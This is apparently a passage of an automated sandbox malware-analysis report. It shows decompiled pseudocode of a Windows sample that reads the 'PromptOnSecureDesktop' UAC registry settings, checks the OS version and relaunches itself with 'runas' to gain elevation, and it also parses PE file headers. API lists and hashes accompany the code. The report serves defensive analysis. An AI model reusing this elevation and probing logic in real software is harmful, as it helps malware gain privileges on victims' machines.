RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,73B743E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,73B743E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,73B743E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,73B743E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B
", xrefs: 00407599

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction ID: 7fe5a339a68ccf6b09c70fd716338511db9c3a0a85de510e5ec7ef93542d7acc
Opcode Fuzzy Hash: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction Fuzzy Hash: 10C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1044B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040704C(intOrPtr _a4, int _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				int _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				void* _t166;
				int _t196;
				int _t202;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t206 = _t204 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t207 = _t206 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t207 = _t207 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											asm("popad");
											asm("popad");
											asm("popad");
											asm("popad");
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = 0x4122f8;
											_t166 = 0xad;
											_t123 = E00406C96(0x4122f8);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t196 = 0x2e;
												goto L34;
											}
											__eflags = 0x6d - 0x3f;
											if(0x6d > 0x3f) {
												goto L57;
											}
											__eflags = 0xf8 - 0x10;
											if(0xf8 >= 0x10) {
												goto L57;
											}
											_t202 = _a12;
											 *_t196 = 0x2e;
											__eflags = _t202;
											if(_t202 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t202 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t204 = _t206 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x61616161;
						__eflags = _t158 - (_v32 ^ 0x61616161);
						if(_t158 == (_v32 ^ 0x61616161)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407335
0x00407336
0x00407337
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,73B743E0,?,73B743E0,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(73B743E0,00000000,?,00000020,00000000,00000000,00000000,0000012C), ref: 0040719E
RegCloseKey.KERNELBASE(73B743E0,?,73B743E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(73B743E0), ref: 00407208
RegCloseKey.ADVAPI32(73B743E0), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(73B743E0), ref: 004072D0
RegCloseKey.ADVAPI32(73B743E0), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(73B743E0), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F, 0040734A
", xrefs: 00407227
, xrefs: 00407194

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $"$PromptOnSecureDesktop
API String ID: 4293430545-98143240
Opcode ID: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction ID: 42610d5d4912e138811464987e42a56107d9bf2f6382ea6b9d81aa24fc4965e2
Opcode Fuzzy Hash: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction Fuzzy Hash: B5B17071D08209BAEB159FA1DC45BEF77B8AB04304F20047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 284
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				 *(_t168 + 0x5c) = E00406EDD();
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78);
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x61080000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50));
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x61080106;
						__eflags = _t167;
						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x61080107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x61080000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550
runas, xrefs: 00409674

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas
API String ID: 3696105349-2220793183
Opcode ID: 4098d49489a1a58f2d44698bc399054650fb9812435130c3968b7db0ab9e05d5
Instruction ID: 7d6f16c0e63263610e399f3f049f45e0da260e43ae629b5557d7a5820381a87a
Opcode Fuzzy Hash: 4098d49489a1a58f2d44698bc399054650fb9812435130c3968b7db0ab9e05d5
Instruction Fuzzy Hash: 51A171B2540208BBEB21DFA1CC45FDF3BACAB44344F104437FA05E6192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,73B743E0,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,73B743E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,73B743E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,73B743E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,73B743E0,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,73B743E0,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,73B743E0,00000000), ref: 0040683E
